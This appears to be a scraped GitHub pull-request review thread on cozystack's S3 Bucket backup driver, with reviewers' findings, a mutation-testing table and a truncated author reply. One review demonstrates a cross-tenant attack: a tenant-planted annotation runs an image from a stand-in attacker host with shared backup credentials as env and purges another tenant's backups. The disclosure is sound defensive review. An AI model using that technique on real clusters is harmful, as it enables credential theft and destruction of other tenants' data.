That is the right model, and it is not one the backup API can express today. The credential half is closer than it looks. pkg/registry/core/tenantsecret/rest.go implements rest.Creater, rest.Updater and rest.GracefulDeleter, so TenantSecret is a full read/write resource, and its write path already guards the platform-owned internal.cozystack.io/ label and annotation namespace precisely so an untrusted writer cannot plant or strip a lineage verdict. It is built for exactly this. What withholds it is RBAC: every tenant tier in packages/system/cozystack-basics/templates/clusterroles.yaml grants get, list and watch on tenantsecrets and no write verb. Granting writes is a policy decision, not new machinery.
The half that genuinely does not exist is the destination itself. A tenant has no field anywhere to name a bucket, an endpoint, or a Secret to authenticate with:
Parameterslive only onBackupClassStrategy, andBackupClassis cluster-scoped and read-only to tenants (packages/system/backup-controller/templates/tenant-clusterroles.yaml).PlanSpeccarries three fields —ApplicationRef,BackupClassName,Schedule— and none of them is a destination.BackupJobandRestoreJobare the same.- The Strategy CRs are cluster-scoped and appear in no tenant ClusterRole, so a tenant cannot supply one.
- The
apps.cozystack.io/Bucketapp's whole values surface islocking,storagePoolandusers. - The one historical route that did let a user supply S3 keys — the per-app
s3AccessKey/s3SecretKey/s3CredentialsSecretfields — is marked DEPRECATED in the Postgres and ClickHouse schemas, with the reason given as "Tenants no longer supply S3 keys; the system Bucket Secret is projected into the tenant namespace by the backup controller". Reintroducing plaintext credentials in a CR spec would be the wrong direction regardless.
So the backup API is structurally admin chooses the destination, tenant picks a class. A user-provided destination inverts that: the destination becomes per-application tenant data rather than per-class admin configuration, and something has to carry it — a destination block on Plan, a tenant-writable storage-location object, or a BackupClass that resolves its destination from the application's namespace. Picking among those is a design question with consequences well beyond this driver, and I do not think it belongs inside this PR.
What would unblock this
Two paths, and I think the first is the right move for this PR.
- Ship the driver, but do not bind
Kind: Bucketincozy-default. This is the precedentcozy-default-foundationdbalready sets in the same file, with its reasoning written out inline: the Strategy CR is shipped so an admin can reference it from a custom BackupClass, and the default class deliberately leaves the kind unbound. That keeps every line of mirror and controller logic in the tree and reviewable, drops the claim that the platform backs tenant buckets up by default, and leaves the destination an explicit choice rather than a surprise. Pair it with adocs/operations/backup-classes.mdsection that states plainly what a same-store destination does and does not protect against. - Separately, design the tenant-supplied destination. Tenant write access to
TenantSecret, plus a place in the backup API for a tenant to name an external endpoint and bucket. That is what makes a bucket backup mean durability, and it is what would eventually justify binding this strategy intocozy-default. Given it changes a core API contract, it reads to me like a design proposal in cozystack/community rather than a follow-up commit here — happy to be told otherwise if there is already a plan for it.
If the same-store copy is genuinely wanted in the meantime as an accidental-deletion guard, I have no objection to it existing as an opt-in a tenant or admin selects deliberately. My objection is specifically to it being the default binding under a name that promises more.
One more, independent of the above
The PR touches no files under docs/. docs/operations/backup-classes.md is the operator-facing document for this subsystem and carries per-strategy sections, including the MongoDB credential quirk and the FoundationDB restore caveat, but it gains nothing about the Bucket strategy. A reader of that document will not learn the strategy exists, let alone where its data lands. Whichever way the above goes, that document needs a section.
IvanHunters
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Verdict
NOT LGTM
Most of the last round is genuinely closed, and closed with tests that fail under mutation rather than with code that merely looks right: the mirror deadline, the CA ref surviving into restore, the terminal-vs-transient split on the access path, the precondition deadline on its own clock, the bounded cleanup retry with an ArtifactNotDeleted Event, the ownership check on an adopted mirror Job, and the finalizer dispatch itself. Two things block. The delete-time reclaim decides whether to purge from the BackupJob's own status field and never looks at the Backup, so in one window it wipes the objects a live Ready Backup still advertises. And the shipped strategy is still exercised by nothing, which is the finding that has now survived two rounds.
Findings
[MAJOR] internal/backupcontroller/bucketstrategy_controller.go:607, the delete-time reclaim can purge a live Backup's objects
finalizeBucketBackupJob decides purge-or-not from j.Status.BackupRef == nil alone. The Backup CR is created at :444 and BackupRef is persisted by a separate r.Status().Update at :494, so the two are not atomic. The reclaim coordinates are stashed on the BackupJob before the mirror starts (ensureBucketReclaimGuard) and nothing clears them on success, so the purge has everything it needs the whole time.
Delete the BackupJob in the gap between those two calls and the finalizer reads a run that never recorded a Backup, stops the mirror, and purges the prefix. The Backup created at :444 survives, still Phase: Ready, still pointing at the prefix that was just emptied. Nothing reports it. It surfaces at restore time, which is the worst moment to learn it.
A plain requeue does not reach this: on retry createBucketBackupArtifact hits AlreadyExists, the existing prefix equals this run's UID-scoped prefix, and it returns the existing Backup. So the window really is "a delete lands between the Create and the status write", not "any retry". That is what keeps this MAJOR rather than CRITICAL. The mechanism inside the window is unconditional:
# in a checkout at e580c0b, add a test that builds, with the fake client:
# - a BackupJob being deleted: DeletionTimestamp set, finalizer present,
# reclaim-stash annotation present, Status.BackupRef == nil
# - a Backup, Phase=Ready, whose snapshot RepoPrefix equals the stash's
# then call r.Reconcile (not finalizeBucketBackupJob directly):
$ go test ./internal/backupcontroller/ -run TestHypothesisPurgesLiveBackupPrefix -v
CONFIRMED: reclaim-cancel Job tenant-x/bj-live-reclaim-cancel created
while live Backup tenant-x/bj-live (phase=Ready) still references
prefix "tenant-x/web/bj-live-uid/"
--- PASS
The state above is constructed by hand, so that run shows what the branch does once in the window, not that the window is entered on its own; the reachability argument is the non-atomic pair plus a concurrent delete. finalizeBucketBackupJob and reclaimDeletedBucketBackup between them do no Get on Backup at all. A Get by name before purging, reclaiming only when the Backup is absent or points elsewhere, closes it.
[MAJOR] examples/backups/bucket/run-all.sh, the shipped artifact is exercised by nothing (open since 17 Sep, second round)
The unit and chart half of this is closed, and closed convincingly: the endpoint assertion is an exact equal, deleting the TLS or the resources/timeout block turns helm unittest red, and all six previously-unheld Go guards now have named tests that go red under mutation. What remains is the half that made the rest matter.
hack/e2e-chainsaw/bucket-backup/chainsaw-test.yaml drives run-all.sh, which installs its own bucket-strategy-default under a bucket-test BackupClass. The shipped cozy-default-bucket and the cozy-default route it hangs off are run by nothing. The bucket flow is also the one backup flow that skips the shared S3 preflight:
$ grep -rn 'cozy_backup_access_preflight' examples/backups/*/run-all.sh examples/backups/clickhouse/03-create-bucket.sh
examples/backups/mongodb/run-all.sh:54
examples/backups/mariadb/run-all.sh:59
examples/backups/postgres/run-all.sh:48
examples/backups/clickhouse/03-create-bucket.sh:38
$ grep -n 'cozy_backup_access_preflight' examples/backups/bucket/run-all.sh
$
hack/backup-access-preflight.bats:242 enumerates the four flows that gate on it and the Chainsaw check below it enumerates the same four suites. Bucket is in neither list. The comment in the Chainsaw file explains the choice (the CI cluster has no cozy-backups), which is fair; it does not change what is covered.
[MINOR] examples/backups/bucket/run-all.sh:79, the purge assertion still fails open
The exit-code-only check became a grep of mc stat's message for not-found wording. mc writes Object does not exist. as its last line regardless, so the filter still cannot tell a real absence from a broken alias. Run against a local MinIO, all four cases pass the script's condition:
# genuine not-found:
mc: <ERROR> Unable to stat `src2/testbucket/does-not-exist.txt`. Object does not exist.
# server stopped, same alias:
mc: <ERROR> Unable to list folder. [...] connect: connection refused
mc: <ERROR> Unable to stat `src2/testbucket/does-not-exist.txt`. Object does not exist.
# bad credentials:
mc: <ERROR> Unable to initialize new alias from the provided credentials. [...]
mc: <ERROR> Unable to stat `src2/testbucket/does-not-exist.txt`. Object does not exist.
# nonexistent alias: same trailing line.
This assertion is the only proof of the destructive half of the in-place contract, which is why failing open costs more here than elsewhere. Count the objects under the prefix instead, or assert on mc ls rather than on stat's prose.
[MINOR] internal/s3mirror/s3mirror.go:125, the delete arm of the empty-prefix guard is unpinned
TestRunRejectsEmptyRestorePrefix exercises --mode=restore only. Drop || *mode == "delete" and the package stays green, so nothing holds the term that stops a --mode=delete with an empty --repo-prefix from purging the shared repo bucket whole. No caller emits that pair today, which is exactly why the last line of defence wants its own case.
$ sed -i '' 's/if (\*mode == "restore" || \*mode == "delete")/if (*mode == "restore")/' internal/s3mirror/s3mirror.go
$ go test ./internal/s3mirror/ -count=1
ok github.com/cozystack/cozystack/internal/s3mirror 0.559s
$ git checkout -- internal/s3mirror/s3mirror.go
[MINOR] internal/backupcontroller/bucketstrategy_controller.go:769, the hasOwnerUID term is unpinned
Reduce the predicate to existing.Spec == desired.Spec and go test ./internal/backupcontroller/ -run TestReconcileBucketAccess stays green. The fixture nobody wrote is a labelled, spec-matching BucketAccess carrying no ownerRef. Backfilling that ref is the term's entire job, and without it the access outlives app deletion with credentials a same-named app then reuses, which is the hazard its own comment names.
[MINOR] internal/backupcontroller/bucketstrategy_controller.go:1469, the cleanup-mode label term is unpinned
Same shape. Drop || job.Labels[bucketLabelMode] != bucketModeCleanup and -run TestCleanupBucketBackup stays green: TestCleanupBucketBackupRefusesUnrelatedJob is refused by the ownership term on its own, and no case presents a Job the Backup does control that is not a cleanup Job.
[MINOR] internal/backupcontroller/bucketstrategy_controller.go:1055, restore freezes its TLS posture at backup time
Image, resources and timeout are taken from the live strategy; InsecureSkipVerify is rebuilt from the snapshot. An admin who plumbs a real CA and clears backupStorage.insecureSkipTLSVerify still gets --insecure on every restore of any Backup taken before that change, for as long as it is retained. Take the verification knobs from the live strategy and only the coordinates from the snapshot.
[MINOR] examples/backups/bucket/90-scenario.md:3, the operator-facing docs trail the code
The prefix is <namespace>/<app>/<backupjob>-<uid>/ (joinRepoPrefix, bucketstrategy_controller.go:392), not <namespace>/<bucket>/<backupjob>/, so an operator listing the repo by the documented key finds nothing. And backups.cozystack.io/allow-empty-source (:1075), which switches off the refusal that keeps an in-place restore from wiping a live bucket, is documented only in a Go constant comment.
Checked and correct
Closed from the previous round, each confirmed by mutation or by a render rather than by reading: the mirror Job deadline; destination.tls.caSecretKeyRef surviving into restore; the readiness probe replacing trust in accessGranted; terminal-vs-transient on the access path and the precondition deadline on its own clock; the mirror stopped before the delete-time reclaim, and that reclaim given its own -reclaim-cancel name; the bounded cleanup retry releasing with ArtifactNotDeleted; the ownership check on an adopted mirror Job; the strategy image documented as literal-only; Backup deletion reclaiming the mirrored objects; the finalizer dispatch now held by a Reconcile-level test; --allow-empty-source having a producer; the endpoint rendering verbatim for a plain-HTTP external S3 and the TLS block carrying the platform's settings.
Caveats
timeoutSecondsnow reaches restore (:1070), and the purge hold covers a restore mirror Job with live Pods, so the two ordering blockers raised by the other reviewer read as closed at this head.- The red
Require API owner review for sizeable API changesis a governance gate: the job log asks for an approving review fromlllamnyporkvapsfor the new resource. Nothing to fix in the code. hack/select-e2e_test.bats"a path owned by several sources..." is red at merge-base6818795too, so it is not this change.- Not exercised here: the SSA apply of the BucketAccess, grant timing, and the round trip the description reports. This review is static; it ran no cluster.
| // objects (cleanupBucketBackup reclaims them), so only an in-flight run can have | ||
| // stranded a copy. Reclaim is best-effort - the finalizer is always removed, so | ||
| // a broken reclaim cannot wedge the deletion. | ||
| func (r *BackupJobReconciler) finalizeBucketBackupJob(ctx context.Context, j *backupsv1alpha1.BackupJob) (ctrl.Result, error) { |
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[MAJOR] the delete-time reclaim can purge a live Backup's objects
finalizeBucketBackupJob decides purge-or-not from j.Status.BackupRef == nil alone. The Backup CR is created at :444 and BackupRef is persisted by a separate r.Status().Update at :494, so the two are not atomic, and nothing clears the reclaim stash on success. Delete the BackupJob in that gap and the finalizer reads a run that never recorded a Backup, stops the mirror and purges the prefix, while the Backup created at :444 survives as Phase: Ready pointing at the emptied prefix, with no Event. A plain requeue does not reach this (on retry createBucketBackupArtifact hits AlreadyExists, the prefix matches, it returns the existing Backup), which is what keeps this MAJOR rather than CRITICAL. Neither finalizeBucketBackupJob nor reclaimDeletedBucketBackup does any Get on Backup. A Get by name before purging, reclaiming only when the Backup is absent or points elsewhere, closes it.
| @@ -0,0 +1,105 @@ | |||
| #!/bin/bash | |||
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[MAJOR] the shipped artifact is exercised by nothing (open since 17 Sep, second round)
The unit and chart half is closed. What remains: hack/e2e-chainsaw/bucket-backup/chainsaw-test.yaml drives this script, which installs its own bucket-strategy-default under a bucket-test BackupClass, so the shipped cozy-default-bucket and the cozy-default route are run by nothing. The bucket flow is also the one backup flow that skips the shared S3 preflight: grep -rn cozy_backup_access_preflight hits mongodb:54, mariadb:59, postgres:48 and clickhouse/03-create-bucket.sh:38, and nothing in examples/backups/bucket/run-all.sh. hack/backup-access-preflight.bats:242 enumerates the four flows that gate on it and the Chainsaw check below it enumerates the same four suites; Bucket is in neither.
| # snapshot did not name. Distinguish a genuine not-found from any other mc | ||
| # failure (broken alias, expired session, wrong endpoint, network) - the latter | ||
| # must fail loud, not pass as a successful purge. | ||
| if stat_err="$(mc stat --insecure "src/$SRC_BUCKET/$EXTRANEOUS_KEY" 2>&1)"; then |
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[MINOR] the purge assertion still fails open
The exit-code-only check became a grep of mc stat's message for not-found wording, but mc writes Object does not exist. as its last line regardless. Run against a local MinIO, a genuine not-found, a stopped server, bad credentials and a nonexistent alias all matched the filter and all passed as a confirmed purge. This assertion is the only proof of the destructive half of the in-place contract. Count objects under the prefix, or assert on mc ls, rather than on stat's prose.
| // empty one would sweep the whole repo bucket (every snapshot and tenant). | ||
| // Backup mode legitimately reads the application bucket at an empty prefix, | ||
| // so gate this on restore/delete only. | ||
| if (*mode == "restore" || *mode == "delete") && *repoPrefix == "" { |
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[MINOR] the delete arm of the empty-prefix guard is unpinned
TestRunRejectsEmptyRestorePrefix exercises --mode=restore only. Drop || *mode == "delete" and the package stays green, so nothing holds the term that stops a --mode=delete with an empty --repo-prefix from purging the shared repo bucket whole.
$ sed -i '' 's/if (\*mode == "restore" || \*mode == "delete")/if (*mode == "restore")/' internal/s3mirror/s3mirror.go
$ go test ./internal/s3mirror/ -count=1
ok github.com/cozystack/cozystack/internal/s3mirror 0.559s
$ git checkout -- internal/s3mirror/s3mirror.go
| if existing.Labels[managedByLabel] != managedByValue { | ||
| return nil, fmt.Errorf("%w: BucketAccess %s/%s (missing %s=%s); refusing to reuse it", errBucketAccessNotManaged, namespace, name, managedByLabel, managedByValue) | ||
| } | ||
| if existing.Spec == desired.Spec && hasOwnerUID(existing, claim.UID) { |
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[MINOR] the hasOwnerUID term is unpinned
Reduce the predicate to existing.Spec == desired.Spec and go test ./internal/backupcontroller/ -run TestReconcileBucketAccess stays green. The missing fixture is a labelled, spec-matching BucketAccess carrying no ownerRef. Backfilling that ref is the term's entire job; without it the access outlives app deletion with credentials a same-named app then reuses, the hazard its own comment names.
| // release decision below: a same-named Job belonging to someone else (or a | ||
| // stale one from a prior identically-named Backup) must not let us drop the | ||
| // finalizer without ever purging the objects. | ||
| if !metav1.IsControlledBy(job, backup) || job.Labels[bucketLabelMode] != bucketModeCleanup { |
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[MINOR] the cleanup-mode label term is unpinned
Drop || job.Labels[bucketLabelMode] != bucketModeCleanup and -run TestCleanupBucketBackup stays green: TestCleanupBucketBackupRefusesUnrelatedJob is refused by the ownership term on its own, and no case presents a Job the Backup does control that is not a cleanup Job.
| AccessKeyIDSecretKeyRef: strategyv1alpha1.BucketSecretKeySelector{Name: snapshot.RepoCredentialsSecret, Key: snapshot.RepoCredentialsAccessKeyKey}, | ||
| SecretAccessKeySecretKeyRef: strategyv1alpha1.BucketSecretKeySelector{Name: secretKeySecret, Key: snapshot.RepoCredentialsSecretKeyKey}, | ||
| } | ||
| if snapshot.InsecureSkipVerify || snapshot.RepoCACertSecret != "" { |
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[MINOR] restore freezes its TLS posture at backup time
Image, resources and timeout are taken from the live strategy; InsecureSkipVerify is rebuilt from the snapshot. An admin who plumbs a real CA and clears backupStorage.insecureSkipTLSVerify still gets --insecure on every restore of any Backup taken before that change, for as long as it is retained. Take the verification knobs from the live strategy and only the coordinates from the snapshot.
| @@ -0,0 +1,15 @@ | |||
| # Scenario: recover a deleted object from a bucket backup | |||
|
|
|||
| A tenant stores objects in an `apps.cozystack.io/Bucket` and enables backups by binding `Kind: Bucket` to a Bucket strategy (the platform ships `cozy-default-bucket`). Each `BackupJob` mirrors the whole bucket into the platform `cozy-backups` bucket under `<namespace>/<bucket>/<backupjob>/`. | |||
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[MINOR] the operator-facing docs trail the code
The prefix is <namespace>/<app>/<backupjob>-<uid>/ (joinRepoPrefix, bucketstrategy_controller.go:392), not <namespace>/<bucket>/<backupjob>/, so an operator listing the repo by the documented key finds nothing. And backups.cozystack.io/allow-empty-source (:1075), which switches off the refusal that keeps an in-place restore from wiping a live bucket, is documented only in a Go constant comment.
Aleksei Sviridkin (lexfrei)
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Andrey Kolkov (@androndo) NOT LGTM. All four blockers from my last review are closed, and I re-ran each rather than reading it. What blocks now is the delete path the last two commits added: it builds a Pod out of an annotation a tenant can write, and one tenant can use that to erase another tenant's backups.
What one tenant can reach
The reclaim coordinates are stashed on the BackupJob and read back verbatim. ensureBucketReclaimGuard writes the whole cleanup payload onto the object as JSON (bucketstrategy_controller.go:598), and reclaimDeletedBucketBackup builds the reclaim Pod out of it with no re-render and no validation (:651). What crosses: RepoPrefix, RepoBucket and RepoEndpoint into argv, RepoCredentialsSecret and its keys into secretKeyRef, Image into Container.Image (:1317-1349).
A tenant can write all of it. cozy:backups:admin grants patch on backupjobs (packages/system/backup-controller/templates/tenant-clusterroles.yaml:35-44), it aggregates into cozy:tenant:admin, and a RoleBinding in every tenant namespace binds it (packages/apps/tenant/templates/tenant.yaml:64-74), so unlike the cluster-scoped grants beside it this one is live. Nothing overwrites a tampered value afterwards. The deletion branch in Reconcile sits above the terminal-phase early return (backupjob_controller.go:60-75) and markBackupJobFailed never clears the finalizer (:293-318), so a Failed BackupJob keeps both the finalizer and the stash and is never reconciled again.
I drove it through Reconcile on the fake client, with a Failed BackupJob in one namespace whose annotation names another tenant's prefix and a foreign image. Scratch test, removed afterwards, git status --porcelain empty.
namespace=tenant-attacker image=attacker.example/exfil:latest
args=[s3-mirror --mode=delete --repo-endpoint=http://s3 --repo-bucket=cozy-backups --repo-prefix=tenant-victim/]
env REPO_ACCESS_KEY <- secret cozy-backups-creds[AWS_ACCESS_KEY_ID]
env REPO_SECRET_KEY <- secret cozy-backups-creds[AWS_SECRET_ACCESS_KEY]
Two things fall out of that. Keep the stock image and rewrite only the prefix, and the Job purges another tenant's segment of the shared repo bucket: cozy-backups-creds is a single identity over the whole bucket, separation is by key prefix alone, and the only check on the prefix is that it is non-empty (s3mirror.go:125). Choose the image and the Secret name as well, and the tenant gets a container in their own namespace with any Secret from that namespace as env, cozy-backups-creds included, which they have no verb to read otherwise (packages/system/cozystack-basics/templates/clusterroles.yaml grants tenants nothing on secrets).
Getting there needs one Bucket BackupJob that reaches the mirror and then ends Failed, which is what a mirror that dies produces anyway. The Backup-deletion path beside this one already does it right, taking the image from the live cluster-scoped strategy instead of from the object (:1446), and Backup.status.underlyingResources is not tenant-writable. Re-deriving the snapshot the same way on the finalizer path closes it. Short of that, refuse a stashed prefix that is not under the freshly rendered Destination.Prefix, and never take Image or the Secret name from the stash at all. None of this depends on Kind: Bucket being bound in cozy-default, so it holds whichever way that question lands.
The same path can purge a live Backup
The finalizer decides whether to purge without ever looking at the Backup. finalizeBucketBackupJob reads j.Status.BackupRef == nil and nothing else (:610). The Backup is created inside createBucketBackupArtifact (:444) and BackupRef is persisted by a separate Status().Update (:494), so the two are not atomic, and the gap reopens on every conflict that sends the reconcile round again. A delete landing inside it purges the prefix a Ready Backup still advertises, nothing reports it, and it surfaces at restore. IvanHunters raised this on this same head and it is unchanged. A Get on the Backup before purging closes it.
Both of these sit in the two newest commits and share a root: the finalizer path decides from the BackupJob alone, where every other path in this driver decides from the cluster-scoped strategy and the Backup.
Deletion on teardown
Cancelling a running BackupJob reclaims its partial copy, and deleting a Backup purges its prefix. Both hold under mutation. Tenant teardown is the case that does not: cleanup releases without purging once the namespace is Terminating (:1433-1438) and emits ArtifactNotDeleted. Redis, Kafka and RabbitMQ release the same way, so this matches the package rather than regressing it, but a bucket leaves a whole bucket's worth of objects in cozy-backups rather than one dump file, and nothing sweeps them later.
My four blockers
All four are closed. The purge hold on a running in-place restore: the restore no longer abandons a mirror that already exists (:926), and restoreJobActiveForBackup holds on a labelled restore Job with live Pods (:1531). The reclaim wiping an older Backup: closed by the UID-scoped prefix (:408) and the prefix comparison on AlreadyExists (:898). timeoutSeconds reaches restore (:1070). The guards have tests now, with the two gaps below.
Mutation ladder
| mutation | predicted | actual |
|---|---|---|
:381 self-backup refusal inverted |
red | red, 6 tests |
:408 prefix loses the UID scope |
red | green |
:435 backup-side ownership guard off |
red | red TestReconcileBucketRefusesUnownedMirrorJob |
:1099 restore-side ownership guard off |
red | red TestReconcileBucketRestoreRefusesUnownedMirrorJob |
:610 finalizer always purges |
red | red TestFinalizeBucketBackupJobSkipsReclaimWhenBackupRecorded |
:898 stale same-named Backup accepted |
red | red TestReconcileBucketFailsOnArtifactNameCollision |
:769 hasOwnerUID term dropped |
green | green |
:1469 cleanup-mode label term dropped |
green | green |
:1536 restore-mirror purge hold never holds |
red | red TestRestoreJobActiveForBackupHoldsOnActiveMirrorJob |
:1076 in-place stops deleting |
red | red TestReconcileBucketRestoreInPlaceVsToCopyJobArgs |
:1076 to-copy starts deleting |
red | red, same test |
:242 in-place predicate inverted |
red | red, 2 tests |
:1075 allow-empty-source annotation inverted |
green | green |
:509 reclaim on mirror failure removed |
red | red TestReconcileBucketReclaimsOnMirrorJobFailed |
:926 deleting-Backup restore refusal off |
red | red TestReconcileBucketRestoreRefusesDeletingBackup |
s3mirror.go:125 delete arm of the empty-prefix guard dropped |
green | green |
Predictions were written down before the run. One mutation at a time, go test ./internal/backupcontroller/ ./internal/s3mirror/, reverted after each with git status --porcelain empty.
Chart side, helm unittest in packages/system/backupstrategy-controller: dropping either segment of the shipped prefix, the CRD-Established gate, the timeoutSeconds block, the insecureSkipVerify value or the Kind: Bucket route each turns rendering_test.yaml red. Repointing cozy-backups-creds at another Secret name stays green.
The miss worth acting on is the UID scope. It is the fix for the blocker I raised last round, and dropping it from :408 leaves the suite green, because TestReconcileBucketFailsOnArtifactNameCollision supplies the stale Backup's prefix by hand instead of deriving it. Without the UID a reused BackupJob name writes into the old Backup's prefix, the two prefixes then match, :898 does not fire, and the run reports Succeeded against a snapshot mixed from two runs. The guard that catches the collision is pinned; the value that makes the guard reachable is not.
The allow-empty-source read at :1075 is the other one. Inverting it hands --allow-empty-source to every restore, which switches off the refusal that stops an in-place restore from wiping a live bucket out of an empty snapshot, and the suite stays green.
Docs
The operator-facing table is wrong the moment this merges. docs/operations/backup-classes.md:9 heads a table "Bound by cozy-default (work out-of-the-box)" listing ten Kinds, with a second table below it for what ships unbound. This PR adds an eleventh binding and touches no file under docs/. That holds whichever way lllamnyp's question about the default binding resolves: the row belongs either in the first table or in the second, next to FoundationDB.
The prefix in the example docs is stale. examples/backups/bucket/90-scenario.md:3 still documents <namespace>/<bucket>/<backupjob>/, but it is <namespace>/<app>/<backupjob>-<uid>/. The middle segment is the application name rather than the COSI bucket name, and the UID landed in 223249d56, so an operator listing the repo by the documented key finds nothing. The PR body carries the same stale string, and this repo merges without squashing, so that body lands in main as the merge commit message.
Non-blocking
The e2e drives the demo copy, not the shipped one. hack/e2e-chainsaw/bucket-backup/chainsaw-test.yaml runs examples/backups/bucket/run-all.sh, which installs its own strategy against its own destination bucket under its own bucket-test BackupClass. cozy-default-bucket and the cozy-default route are covered only by rendering assertions in helm unittest. The comment in the Chainsaw file explains why, and I have no better answer for a CI cluster with no cozy-backups, but a green suite does not exercise the shipped path.
The precondition requeue is slower than the siblings with nothing saying why. requeueBucketWaiting returns CredentialsProjectionRequeue, 30s (:695, :1176), where the MongoDB and RabbitMQ equivalents return their 5s poll interval, and outside this driver that constant appears only in the generic controllers.
Cleanup reads a sibling's identifier, redisSkipArtifactCleanupAnnotation at :1389, where every other driver declares its own alias for that literal. Same behaviour, reads as a leftover.
The mirror, cleanup and reclaim Pods set no serviceAccountName, so they run as the namespace's default. They need no API access at all, so automountServiceAccountToken: false would state that instead of leaving it inferred.
IvanHunters' three unpinned terms reproduce exactly as reported: hasOwnerUID, the cleanup-mode label and the delete arm of the empty-prefix guard all stay green when dropped. His mc stat point I could not re-run, mc is not installed here, so I am taking that one on his evidence.
Checked and clear
The upgrade path converges. The new CRD ships from definitions/ as a template rather than from crds/, so helm upgrade installs it, the strategy is gated on the CRD being Established, and the default-objects gate forces the follow-up upgrade that renders it. Same sequence the MongoDB default already relies on.
The driver matches its siblings where it should: the MariaDB destination field shape, the shared markBackupJobFailed and markRestoreJobFailed rather than private equivalents, the 5s poll, the TargetApplicationRef convention for in-place versus to-copy, the MariaDB body with the MongoDB CRD gate in the chart, and the same cleanupOnDelete branch Rabbitmq, Redis and Kafka use. The BackupJob finalizer is the one genuinely new mechanism, and both the code and c3a1deb30 explain it.
CI, provenance, delta
Nothing on e580c0b0c is red except Require API owner review for sizeable API changes, which wants an approving review from an API owner and has nothing in the code to fix. E2E (in-tree) finished green at 10:09 UTC on 18 Sep, first attempt, no re-run. go vet is clean on the four packages the diff touches, and 395 Go tests plus 24 chart tests pass. gofmt -l flags thirteen files in internal/backupcontroller, eleven of them older than this branch, so that is my toolchain at 1.27 against the 1.26.4 in go.mod and not something here.
b4cc64a99 is not an ancestor of the head, the branch rebased from ae7a711 onto 6818795, so I compared with git range-diff. The first six commits come through identical and eight are new. All fourteen carry a sign-off and exactly one attribution trailer, no session link, and a body that describes the change rather than the round it came out of.
The driver converged; the delete path did not. Most of this round closed with tests that fail under mutation rather than with code that only reads right. But c3a1deb30 added the finalizer to stop a cancelled run leaking its partial copy, that finalizer opened both blockers above, and e580c0b0c then tightened the same path again without closing either.
Adds a design proposal for a typed tenant destination and an opaque driver-options blob on Plan/BackupJob, symmetric to RestoreJob.Options. Motivated by the S3 Bucket backup driver (cozystack/cozystack#4235). Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
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Timofei Larkin (@lllamnyp) — thanks, this is the right level to push on and I agree with the core. A same-store copy of a bucket into For this PR I'll take path #1. I'll unbind For path #2 (a user-provided destination) I've written it up as a design proposal: cozystack/community#83. It agrees this is a core-API design question rather than a commit here, and proposes:
Binding a bucket strategy into And agreed on the docs gap independent of the above — the |
…5223) ## What this PR does Fixes #4316. Continues #5015 by androndo on a separate branch. All ten of their commits are kept as they were (authorship, messages and order, only rebased on current `main`). MariaDB and CNPG backups stored in S3 report `Backup.status.artifact.sizeBytes`, the size of the dump mariadb-operator uploaded or the total of the barman base backup, and the field stays unset when the size cannot be attributed to that one backup. Four commits are added on top: - `test(backups)`: operator Backup fixtures carry the condition mariadb-operator writes on success, `Complete=True` with reason `JobComplete` and message `Success`. Operator sets `Complete=True` for a failed Job too (reason `JobFailed`), so a fixture without reason describes a state that never happens. #5207 makes the driver check that reason, the tests pass with and without it. - `refactor(backups)`: the MariaDB matcher returns the matched dump (key, file name, timestamp from the name, size, LastModified) and tells "not found" from "ambiguous", and the Secret lookup and S3 client live on a small value any reconciler can build from its own client. A MariaDB restore needs this to restore the dump of the Backup it was given and not the newest one under the prefix. `sizeBytes` does not change here. - `fix(backups)`: the probe reads bucket, prefix, endpoint, credentials and TLS from the operator Backup's own `spec.storage.s3`, not from the strategy as it renders now, so editing the strategy during a backup does not send the probe somewhere else. - `fix(backups)`: a dump is attributed only when its ownership is proven. Before, a backup pod with a clock more than a minute behind, right after a previous run, got that run's dump size (666 bytes for a 123-byte dump in a test). Now the dump has to be the only one that either clock places in the operator Backup's lifetime, both clocks have to agree, and neither may place it in the lifetime of another finished operator Backup with the same bucket and prefix. Otherwise the size stays unset. Two cases are still not covered. First, this run's own dump is missing from the listing while the operator Backup of a neighbour was deleted or has not finished, then the neighbour's dump can be taken. Second, backup pod clock and object store clock are both off the same way by more than the minute of slack, which moves a finished neighbour's dump into this run's window, and nothing the clocks record tells them apart. A run whose Job failed has no dump of its own and reaches the probe only because the driver takes `Complete=True` for success, #5207 fixes that. Of the open threads on the original PR, the cache reads, the dump file name layout and the default AWS endpoint test were already handled by its later commits, the clock skew one is the last commit here and the failed Job case is #5207. `minio-go` is new to this tree, this PR adds it as a direct dependency and `internal/backupcontroller/artifact_size.go` is its only importer. The open Bucket strategy PR #4235 picks the same client at the same version. Each clock skew case, and a run whose own dump is gone while the neighbour's operator Backup still exists and has finished, have a unit test that fails on the old matcher, and every new guard has a mutant that turns a test red. I also ran the matcher against a real bucket after four MariaDB backups in a row. Runs that finished more than a minute apart mapped to the dump their operator Job logged, the two back to back came back unset instead of taking each other's dump, and with a run's own dump hidden from the listing the matcher refused the neighbour's dump that the old one returned. ### Screenshots N/A, no UI changes. ### Downstream repositories The only API change is the description of the existing `Backup.status.artifact.sizeBytes` field, no new field, value, default or enum, no package, values or tooling change, and neither cozystack/website nor cozystack/terraform-provider-cozystack references `sizeBytes`. - [x] No downstream repository is affected by this change - [ ] [cozystack/website](https://github.com/cozystack/website) - follow-up: - [ ] [cozystack/terraform-provider-cozystack](https://github.com/cozystack/terraform-provider-cozystack) - follow-up: - [ ] [cozystack/ansible-cozystack](https://github.com/cozystack/ansible-cozystack) - follow-up: - [ ] [cozystack/ccp](https://github.com/cozystack/ccp) - follow-up: - [ ] [cozystack/talm](https://github.com/cozystack/talm) - follow-up: - [ ] [cozystack/cozyhr](https://github.com/cozystack/cozyhr) - follow-up: - [ ] [cozystack/cozy-proxy](https://github.com/cozystack/cozy-proxy) - follow-up: - [ ] [cozystack/cozystack-telemetry-server](https://github.com/cozystack/cozystack-telemetry-server) - follow-up: - [ ] [cozystack/external-apps-example](https://github.com/cozystack/external-apps-example) - follow-up: - [ ] 